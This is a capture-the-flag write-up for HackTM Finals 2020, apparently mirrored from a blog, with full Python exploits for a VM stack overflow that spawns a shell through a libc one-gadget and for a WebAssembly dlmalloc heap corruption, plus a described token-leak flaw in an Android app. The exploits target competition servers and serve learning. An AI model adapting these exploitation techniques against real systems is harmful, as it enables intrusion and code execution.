HackTM CTF Finals 2020 Writeup

2020-12-16 00:50:59 Author: ptr-yudai.hatenablog.com
觉得文章还不错?,点我收藏



Last weekend I played HackTM CTF Finals 2020, the Finals event of HackTM CTF Quals 2020, in zer0pts and we won the CTF🎉

f:id:ptr-yudai:20201215234327p:plain

I mostly worked on pwn, forensics and few reversing tasks. Especially the pwn tasks were well-designed and I really enjoyed them so I'm going to write the solution of the pwn tasks.

svm - 338pts

An x86-64 ELF file is distributed.

$ checksec -f svm
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No      0               4       svm

This program is a simple VM. Since the design of the VM is simple, writing an assembler is easy.

from ptrlib import p16

def MEM(index):
    assert 0 <= index <= 0xff
    return ('MEM', index)
def REG(index):
    assert 0 <= index <= 4
    return ('REG', index)
def IMM(value):
    assert 0 <= value <= 0xff
    return ('IMM', value)

def ope_mov(dst, src):
    output = b'\x20'
    if dst[0] == 'MEM':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x02])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x04])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x03])
    elif dst[0] == 'REG':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x05])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x06])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x01])
    assert len(output) == 4
    return output

def ope_add(dst, src):
    output = b'\x21'
    if dst[0] == 'MEM':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x02])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x04])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x03])
    elif dst[0] == 'REG':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x05])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x06])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x01])
    assert len(output) == 4
    return output

def ope_sub(dst, src):
    output = b'\x22'
    if dst[0] == 'MEM':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x02])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x04])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x03])
    elif dst[0] == 'REG':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x05])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x06])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x01])
    assert len(output) == 4
    return output

def ope_xor(dst, src):
    output = b'\x23'
    if dst[0] == 'MEM':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x02])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x04])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x03])
    elif dst[0] == 'REG':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x05])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x06])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x01])
    assert len(output) == 4
    return output

def ope_mul(dst, src):
    output = b'\x24'
    if dst[0] == 'MEM':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x02])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x04])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x03])
    elif dst[0] == 'REG':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x05])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x06])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x01])
    assert len(output) == 4
    return output

def ope_div(dst, src):
    output = b'\x25'
    if dst[0] == 'MEM':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x02])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x04])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x03])
    elif dst[0] == 'REG':
        if src[0] == 'MEM':
            output += bytes([dst[1], src[1], 0x05])
        elif src[0] == 'REG':
            output += bytes([dst[1], src[1], 0x06])
        elif src[0] == 'IMM':
            output += bytes([dst[1], src[1], 0x01])
    assert len(output) == 4
    return output

def ope_inc(dst):
    output = b'\x26'
    if dst[0] == 'MEM':
        output += bytes([dst[1], 0x02])
    if dst[0] == 'REG':
        output += bytes([dst[1], 0x01])
    assert len(output) == 3
    return output

def ope_dec(dst):
    output = b'\x27'
    if dst[0] == 'MEM':
        output += bytes([dst[1], 0x02])
    if dst[0] == 'REG':
        output += bytes([dst[1], 0x01])
    assert len(output) == 3
    return output

def ope_strcpy(offset):
    output = b'\x28'
    output += p16(offset, 'little')
    return output

def ope_read(offset):
    assert 0 <= offset <= 0xff
    output = bytes([0x29, offset])
    return output

def ope_write(offset):
    assert 0 <= offset <= 0xff
    output = bytes([0x2a, offset])
    return output

def ope_write_str(offset):
    assert 0 <= offset <= 0xff
    output = bytes([0x2b, offset])
    return output

def ope_nop():
    return b'\x90'

There's a weird operation which may cause stack overflow.

void ope_strcpy(unsigned char arg1, unsigned char arg2, int pos, char *code) {
  int offset = (arg1 << 8) + arg2;
  assert_in_range(offset, 0, 0x3e8);
  memcpy(&code[pos], &pcode[offset], strlen(&code[offset]));
  code[pos + strlen(&pcode[offset])] = 0;
}

However, we can't inject an ROP chain because it uses strlen and we can't use null byte. This means that we can just overwrite the return address.

I checked every possible code which may extend the buffer (such as before read function) but none of them did work. So, we need another vulnerability that can leak the address of libc.

I checked the assembly again and found the following function vulnerable.

f:id:ptr-yudai:20201215135209p:plain

The instruction basically just prints a string on the VM memory. As you can see from the assembly abive, however, the size for the loop is signed-extended by movsx, which may cause integer overflow.

A few blocks before the memory exists a pointer to _IO_2_1_stdout_, which can be leaked with this vulnerability. Once we leak the libc address, we have to choose a right one gadget. I used the following one gadget.

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

We can make RCX zero by calling an instruction with correct parameters before exiting from the VM.

I used the following gadget(?) in XOR operation to make rcx zero.

f:id:ptr-yudai:20201215135755p:plain

Full exploit:

import time
from ptrlib import *
from assembler import *

addr_start = 0x4006a0

libc = ELF("./libc.so.6")
one_gadget = 0x10a398
sock = Socket("nc 35.246.216.38 8888")
#sock = Process("./svm", {"LD_LIBRARY_PATH": "./"})

code = b''
# address leak
for i in range(0x90):
    code += ope_mov(MEM(0x40 + i), IMM(0x41))
code += ope_write_str(0x40)
# call main again
code += ope_nop() * (635 - len(code))
code += ope_strcpy(0x0102)
code += p64(addr_start)
code += b'\x00' * (1000 - len(code))

sock.sendafter(": ", code)
time.sleep(1)
sock.recv(0x80)
libc_base = u64(sock.recv(6)) - libc.symbol("_IO_2_1_stdout_")
logger.info("libc = " + hex(libc_base))

code = b''
code += ope_nop() * (0x0120 - len(code))
# rcx = 0
code += ope_xor(MEM(1), REG(3))
code += ope_nop() * (635 - len(code))
# call one gadget
code += ope_strcpy(0x0102)
code += p64(libc_base + one_gadget)
code += b'\x00' * (1000 - len(code))
sock.sendafter(": ", code)

sock.interactive()

MobaDEX - 428pts

We're given an Android apk.

$ file MobaDEX.apk 
MobaDEX.apk: Zip archive data

The login screen of the app looks like this:

f:id:ptr-yudai:20201215205652p:plain

First I registered an account and logged in. Then, we can add another user as a friend and send message to the friends. Also, we can read the messages that other people sent to me.

In AddFriendFragment class exists a check like this:

if (friend_username.equals("Admin_FeDEX")) {
  AddFriendFragment.this.updateTextView("Cannot add Admin!");

The Session class has a sample flag as a member.

public class Session {
    private static Session instance = null;
    private String Flag = "HackTM{local_flag}";
    private String token = "";

    protected Session() {
    }

    public String getToken() {
        return this.token;
    }

    public String getFlag() {
        return this.Flag;
    }

    public void setToken(String token2) {
        this.token = token2;
    }

    public static Session getInstance() {
        if (instance == null) {
            instance = new Session();
        }
        return instance;
    }
}

So, perhaps our goal is steal this variable of Admin_FeDEX.

The application has some flaw in its design. First, we can read all of the messages sent to any users. This is because of the design of the user token.

We have to login first in order to read the user's message. If login is successful, the program receives a token for the user (one fixed random number for each user) and uses it as a session. We can read the user's message only with the token.

...
url("http://35.246.216.38:8686/api.php").post(new FormBody.Builder()
  .add("q", "hvD6trFjj5PF0sA")
  .add("token", this.sess.getToken()
)
...

The problem lies in the message send function.

The user inputs the friend's name for message transfer. However, the server uses the friend's token for identifying to which user to send the message. The app gets the friend's token by the following API.

...
url("http://35.246.216.38:8686/api.php").post(new FormBody.Builder()
  .add("q", "KVY2ERbWMEGBgob")
  .add("token", this.sess.getToken())
  .add("friend_username", friend_username)
)
...

This means anyone can get the token of any user by the username.

So, we can read anyone's message. This is a quite critical bug but it won't drop the flag.

TBH, I used an unintended solution. I'm not sure but I think the real vulnerability lies in the ProcessMoba class.

    private Bundle deserialize_moba(String serialized) {
        if (serialized == null) {
            return null;
        }
        Parcel parcel = Parcel.obtain();
        try {
            byte[] data = Base64.decode(serialized, 0);
            parcel.unmarshall(data, 0, data.length);
            parcel.setDataPosition(0);
            return parcel.readBundle();
        } finally {
            parcel.recycle();
        }
    }

Since we can manipulate the data to send, perhaps we can use the deserialization attack.

Unfortunately, however, there was some mistakes which caused some unintended solutions.

Firstly, the intended solution of this task is make the admin send the flag to our own account. As I explained, anyone can read anyone's messages. That is, anyone can steal the solvers' messages which includes the flag. We can get the challenge solvers' username by checking the admin's messages because the solvers must have sent their exploit code to the admin. In fact, it turned out at least one team solved this task by stealing my account XD

Secondly, the author of this task run his solver before or during the competition. There was a message named fedex_poc, which was probably sent by the challenge author and contained the intended exploit payload. The first solver of this task apparently re-used this payload as the structure looked almost same.

I used the second unintended solution to solve the task. (I'll try the intended solution later. During the contest I just wanted to work on the other tasks too :P)

Although the challenge has a flaw, I think the idea is still great :+1:

Widmanstätten - 482pts

We're given a WebAssembly file and a JavaScript file to run it on. The application looks like an ordinal note manager.

$ node challenge.js
================== Widmanstatten's Automated Spaceship Management System ==================
                   =====================================================
Option 1: Add spaceship part to inventory
Option 2: Update spaceship part entry in inventory
Option 3: Delete spaceship part entry from inventory
1
What part category do you choose?
        [1]:  =========== Defense =========
        [2]:  =========== Attack =========
        [3]:  =========== Time Warp =========
        [4]:  =========== Propulsion =========
1
Parts available in [Defense]:
        Name: Plasma field
        Name: Schumann frequency crystals
        Name: Neutron self-destruction device
        Name: Unstable quasispace teleportation
Which one do you want?
Plasma field
Enter part count:
123
Added at index 0
...

Before exiting, the program executes a JavaScript code which is hard-coded in data section.

================== Widmanstatten's Automated Spaceship Management System ==================
                   =====================================================
Option 1: Add spaceship part to inventory
Option 2: Update spaceship part entry in inventory
Option 3: Delete spaceship part entry from inventory
4
Brought to you by:
   _  _     ____                  _____  _             ____          _                 _  _   
 _| || |_  |  _ \ __      __ _ __|_   _|| |__   _   _ | __ )  _   _ | |_  ___  ___   _| || |_ 
|_  ..  _| | |_) |\ \ /\ / /| '_ \ | |  | '_ \ | | | ||  _ \ | | | || __|/ _ \/ __| |_  ..  _|
|_      _| |  __/  \ V  V / | | | || |  | | | || |_| || |_) || |_| || |_|  __/\__ \ |_      _|
  |_||_|   |_|      \_/\_/  |_| |_||_|  |_| |_| \__, ||____/  \__, | \__|\___||___/   |_||_|  
                                                |___/         |___/ 

Our goal is overwrite this script to execute arbitrary commands.

Anyway we need to reverse engineer the wasm file. It was hard to find the vulnerability since the source code was not provided, but I found it anyway.

When choosing a part in the app, we provide the string of the part. The program actually uses strstr to find the index by the string we entered. (The length, return value of read, must be larger than 5.)

Also, the size of the chunk changes for each category. This is because the part count is of short for some categories, while others' are of integer.

When we enter "\x00\x00\x00\x00\x00\x00" as the part name, it hits the first item and allocates a chunk by malloc(0x7c). However, the index becomes 15 (this is a sort of type confusion) and the part count is considered as an integer on the update function.

So, we get heap overwrite by 2 bytes. Let's see how "malloc" in WebAssembly works.

According to this Japanese article, WebAssembly uses dlmalloc for the memory management. free is defined here and malloc is here.

Reading the source code, I realized the following things:

  • It doesn't have tcache or fastbin but has smallbin, largebin and unsortedbin
  • There're some checks to see if a chunk (freed, allocated or unlinked) is not above the end of the heap
  • Unlink attack is available

My idea of exploiting the off-by-two bug is

  1. Prepare fake chunks for step 2 so that the program won't be killed by assertion error
  2. Overwrite the size of the next chunk to 0x420 (unsorted-bin size)
  3. Free the next chunk and it'll be linked to the unsorted bin
  4. Allocate some chunks and they overlaps with an existing chunks
  5. Free one of the overlapping chunks
  6. Link fd to the address of the target code
  7. Allocate some chunks and we can overwrite the code

In my exploit, I abused two things which is particular to WebAssembly.

  1. ASLR is disabled for the 32-bit address of WebAssembly
  2. Data section is not only readable but also writable

Also to make step 6 (unlink attack) work properly, we need a valid pointer before the target code. This is because unlink crashes if fd of the fake chunk is invalid.

Fortunately, there is a dword that looks like 0x000aXXXX (This is an end of string. Yes it's in the data section.) which is valid as a heap pointer. So, I made fd point there and used the ancient unlink attack.

One more hard point is that the application reads our input as UTF-8. However, I could write the exploit only with valid UTF-8 characters luckily.

import random
import string
import time
from ptrlib import *

CATEGORY = {
    1: ["Plasma field", "Schumann frequency crystals", "Neutron self-destruction device", "Unstable quasispace teleportation"],
    2: ["Gamma ray generator", "Thermonuclear missile", "Space pigeon shit thrower", "Pew pew lasers"],
    3: ["Flux Capacitor", "Micro black hole bundle", "Timelord policebox"],
    4: ["Resonant cavity thruster", "Ununpentium wedge", "Nuclear pulse", "Retro encabulator", "Specific impulse magnetoplasma"]
}

def add(category, name, count):
    sock.sendlineafter("inventory\n", "1")
    sock.sendlineafter("[4]: ", str(category))
    sock.sendlineafter("?\n", name)
    sock.sendlineafter(":\n", str(count))
    return int(sock.recvlineafter("index "))
def update(index, count, size, description):
    sock.sendlineafter("from inventory\n", "2")
    result = []
    while True:
        l = sock.recvline()
        if b"Invalid" in l:
            continue # exception
        if b"Entry" not in l:
            sock.unget(l + b"\n")
            break
        r = re.findall(b"Entry \[\d+\]: Description \[(.+)\]?", l)
        if r:
            result.append(r[0])
        else:
            print(l)
    sock.sendlineafter("?\n", str(index))
    sock.sendlineafter(":\n", str(count))
    sock.sendlineafter(":\n", str(size))
    sock.sendlineafter(":\n", description)
    return result
def delete(index):
    sock.sendlineafter("inventory\n", "3")
    sock.sendlineafter("?\n", str(index))
def utf8bytes(data):
    output = b''
    s = data.decode('utf-8')
    for c in s:
        print(hex(ord(c)))
        output += bytes([ord(c) % 0x100])
        output += bytes([ord(c) // 0x100])
    return output

#sock = Process(["node", "./challenge.js"])
sock = Socket("35.246.216.38", 13371)

# chunk overflap
logger.info("Overlapping...")
add(1, "\x00"*6, 0xdead) # 0
for i in range(10):
    logger.info("{} / 10".format(i))
    add(1, CATEGORY[1][0], 0xdead) # 1-10
update(0, (((0x80*10) | 0b11) << 16) | 0xbeef, 120, "A" * 8) # size overwrite
delete(1)

add(4, CATEGORY[4][0], 0xcafe) # 1
for i in range(8):
    add(4, CATEGORY[4][0], 0xcafe) # 11-18

# corrupt smallbin
logger.info("Corrupting smallbin...")
delete(12)
delete(14)
delete(16)
payload  = b"A" * 15
payload += p32(0x1651) * 2
payload += b"A" * 4
update(3, 0xdead, 120, payload)
payload  = b"A" * 10 + b'\xc2\x89' + b'\x00\x00\x00'
update(3, 0xdead, 120, payload)

# consume smallbin
logger.info("Consuming smallbin...")
add(4, CATEGORY[4][0], 0xcafe)
add(4, CATEGORY[4][0], 0xcafe)
add(4, CATEGORY[4][0], 0xcafe)

# nyanyanyanyanyanyanyanyanyanyanyanya
logger.info("Overwriting data...")
target = add(4, CATEGORY[4][0], 0xcafe)
logger.info("target = " + str(target))
payload = "A"*0x16
payload += "console.log(flag);" + "\x00"
update(target, 0, 120, payload)

logger.info("GO")
sock.sendlineafter("inventory\n", "4")

sock.interactive()

First blood, yay!

$ python solve.py 
[+] __init__: Successfully connected to 35.246.216.38:13371
[+] <module>: Overlapping...
[+] <module>: 0 / 10
[+] <module>: 1 / 10
[+] <module>: 2 / 10
[+] <module>: 3 / 10
[+] <module>: 4 / 10
[+] <module>: 5 / 10
[+] <module>: 6 / 10
[+] <module>: 7 / 10
[+] <module>: 8 / 10
[+] <module>: 9 / 10
[+] <module>: Corrupting smallbin...
[+] <module>: Consuming smallbin...
[+] <module>: Overwriting data...
[+] <module>: target = 19
[+] <module>: GO
[ptrlib]$ Option 2: Update spaceship part entry in inventory
Option 3: Delete spaceship part entry from inventory
AAAAAAAAAAAAAAAAAAAconsole.log(flag);
HackTM{62b31bcec9f2088a4e658d0696d85fbd}



觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me